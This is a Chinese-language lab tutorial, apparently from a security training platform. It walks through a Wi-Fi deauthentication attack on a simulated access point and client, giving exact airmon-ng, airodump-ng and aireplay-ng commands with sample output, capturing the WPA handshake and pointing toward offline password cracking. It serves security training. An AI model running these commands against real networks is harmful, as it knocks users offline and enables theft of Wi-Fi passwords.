引言
欢迎来到本实验,我们将学习如何强制捕获 WPA 握手包。WPA/WPA2 四次握手是尝试破解 Wi-Fi 网络密码的关键数据。虽然你可以被动等待设备连接到网络来捕获此握手包,但这可能非常耗时。
一种更主动的方法是强制已连接的客户端断开连接,然后立即重新连接。这个过程被称为 deauthentication(或“deauth”)攻击。当客户端重新连接时,它会执行四次握手,然后你就可以捕获它了。
在本实验中,你将使用 aircrack-ng 套件中的强大工具 aireplay-ng,对模拟的 Wi-Fi 客户端执行 deauthentication 攻击。这将使你能够可靠地捕获 WPA 握手包进行分析。我们的实验环境已预先配置了一个名为 MyTestAP 的虚拟无线接入点(AP)和一个已连接的客户端。
使用 airodump-ng 扫描识别关联客户端
在此步骤中,你将准备无线接口进行监控,然后使用 airodump-ng 查找目标接入点及其连接的客户端。
首先,你需要将一个虚拟无线接口置于监控模式(monitor mode)。此模式允许接口捕获空中所有 Wi-Fi 流量,而不仅仅是发往该接口的流量。我们将使用 wlan1 接口。
执行以下命令在 wlan1 上启动监控模式:
sudo airmon-ng start wlan1
此命令将创建一个新的监控接口,通常命名为 wlan1mon。你应该会看到输出确认模式已启用。
PHY Interface Driver Chipset
phy0 wlan0 mac80211_hwsim Software simulator
phy1 wlan1 mac80211_hwsim Software simulator
(mac80211 monitor mode vif enabled for [phy1]wlan1 on [phy1]wlan1mon)
(mac80211 station mode vif disabled for [phy1]wlan1)
现在,在新创建的监控接口(wlan1mon)上运行 airodump-ng 来开始扫描。我们将使用 -w 标志将捕获的包写入名为 capture 的文件,并指定目标 AP 的 BSSID 和信道以聚焦扫描。我们模拟 AP 的 BSSID 是 02:00:00:00:01:00,信道是 6。
sudo airodump-ng -w capture --bssid 02:00:00:00:01:00 -c 6 wlan1mon
让 airodump-ng 运行。你将看到一个实时更新的屏幕。上半部分列出了附近的接入点,下半部分列出了连接到它们的客户端。你应该能看到我们的 AP MyTestAP 和一个连接到它的客户端。
输出将类似于:
CH 6 ][ Elapsed: 10 s ][ 2023-10-27 10:30
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
02:00:00:00:01:00 -30 10 5 0 6 540 WPA2 CCMP PSK MyTestAP
BSSID STATION PWR Rate Lost Frames Probe
02:00:00:00:01:00 02:00:00:00:02:00 -35 0- 1 0 5
从输出中,识别并记录:
- BSSID:
02:00:00:00:01:00(AP 的 MAC 地址)。 - STATION:
02:00:00:00:02:00(已连接客户端的 MAC 地址)。
保持此终端运行。稍后你将需要它来确认握手包的捕获。
打开新终端执行 Deauthentication 攻击
在此步骤中,你将打开一个新的终端窗口。上一步的 airodump-ng 命令必须在第一个终端中继续运行,以监听 WPA 握手包。Deauthentication 攻击将从第二个独立的终端启动。
要打开新终端,请点击终端窗口顶部的终端标签栏中的 + 图标。

新终端打开后,你将位于 ~/project 目录,准备在下一步执行攻击命令。所有后续的攻击命令都应在此新终端中运行。
使用 --deauth 构建 aireplay-ng 命令
在此步骤中,你将构建执行 deauthentication 攻击的 aireplay-ng 命令。你将使用在步骤 1 中收集的信息。
使用 aireplay-ng 进行 deauth 攻击的基本语法是:
aireplay-ng --deauth <number_of_packets> -a <AP_BSSID> -c <Client_STATION> <interface>
让我们分解一下各个组成部分:
--deauth: 此标志指定 deauthentication 攻击模式。<number_of_packets>: 这是要发送的 deauth 包的数量。发送一个小爆发,例如5,通常足以断开客户端连接。-a <AP_BSSID>: 这指定了目标接入点(Access Point)的 MAC 地址。在步骤 1 中,它是02:00:00:00:01:00。-c <Client_STATION>: 这指定了你想要断开连接的客户端的 MAC 地址。在步骤 1 中,它是02:00:00:00:02:00。<interface>: 这是你的无线接口(处于监控模式),即wlan1mon。
现在,在你的新终端中组合完整的命令。它应该看起来完全像这样:
sudo aireplay-ng --deauth 5 -a 02:00:00:00:01:00 -c 02:00:00:00:02:00 wlan1mon
暂时不要按 Enter 键。在下一步中,你将执行此命令。
执行针对客户端和 AP 的攻击
在此步骤中,你将执行刚刚构建的命令来发起攻击。
在你的第二个终端窗口中,按下 Enter 键来运行 aireplay-ng 命令。
sudo aireplay-ng --deauth 5 -a 02:00:00:00:01:00 -c 02:00:00:00:02:00 wlan1mon
该工具将立即开始发送 deauthentication 数据包。输出将显示时间以及它正在向客户端发送定向 deauths。
输出将如下所示:
10:35:10 Waiting for beacon frame (BSSID: 02:00:00:00:01:00) on channel 6
10:35:10 Sending 64 directed DeAuths to 02:00:00:00:02:00 (code 7).
10:35:11 Sending 64 directed DeAuths to 02:00:00:00:02:00 (code 7).
...
攻击速度非常快。一旦你执行命令,目标客户端将与网络断开连接,并立即尝试重新连接。这个重新连接过程会生成我们想要捕获的 WPA 握手包。
快速切换回你的第一个终端(运行 airodump-ng 的那个),以便在下一步观察结果。
在 airodump-ng 窗口中确认握手包捕获
在此步骤中,你将通过检查 airodump-ng 窗口中的 WPA 握手消息来确认 deauthentication 攻击是否成功。
切换回你的第一个终端。如果攻击成功,你将在 airodump-ng 显示的右上角看到一条新消息:
WPA handshake: 02:00:00:00:01:00
此消息确认 airodump-ng 已成功拦截并记录了指定 BSSID 的四次握手。
CH 6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 02:00:00:00:01:00
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
02:00:00:00:01:00 -30 48 82 1 6 540 WPA2 CCMP PSK MyTestAP
BSSID STATION PWR Rate Lost Frames Probe
02:00:00:00:01:00 02:00:00:00:02:00 -36 0- 1 0 75
现在你已经捕获了握手包,可以停止捕获了。在 airodump-ng 终端中按 Ctrl+C 来停止它。
由于你在步骤 1 中使用了 -w capture 标志,airodump-ng 将捕获的流量保存到了你当前目录(~/project)的文件中。列出文件以查看结果。
ls -l
你应该会看到几个以 capture 开头的文件,包括 capture-01.cap。这个 .cap 文件包含了原始数据包,其中就包含了你刚刚捕获的 WPA 握手包。
-rw-r--r-- 1 root root 450 Oct 27 10:36 capture-01.cap
-rw-r--r-- 1 root root 892 Oct 27 10:36 capture-01.csv
-rw-r--r-- 1 root root 634 Oct 27 10:36 capture-01.kismet.csv
-rw-r--r-- 1 root root 128 Oct 27 10:36 capture-01.kismet.netxml
-rw-r--r-- 1 labex labex 121 Oct 27 10:28 hostapd.conf
-rw-r--r-- 1 labex labex 52 Oct 27 10:28 wpa_supplicant.conf
capture-01.cap 文件是关键。现在可以使用它和密码破解工具(如 aircrack-ng)来尝试发现网络的预共享密钥。
总结
恭喜你完成了本次实验!你已成功执行了 deauthentication 攻击,强制并捕获了 WPA 握手包。
在本次实验中,你学会了如何:
- 使用
airmon-ng将无线网卡置于监听模式(monitor mode)。 - 使用
airodump-ng扫描并识别目标 AP 和客户端。 - 使用
aireplay-ng构建并执行 deauthentication 攻击。 - 确认 WPA 握手包的捕获,并找到生成的
.cap文件。
这是无线网络安全测试中的一项基本技能。捕获到的握手包文件是下一阶段的关键要素:使用像 aircrack-ng 这样的工具和全面的字典(wordlist)进行离线密码破解。
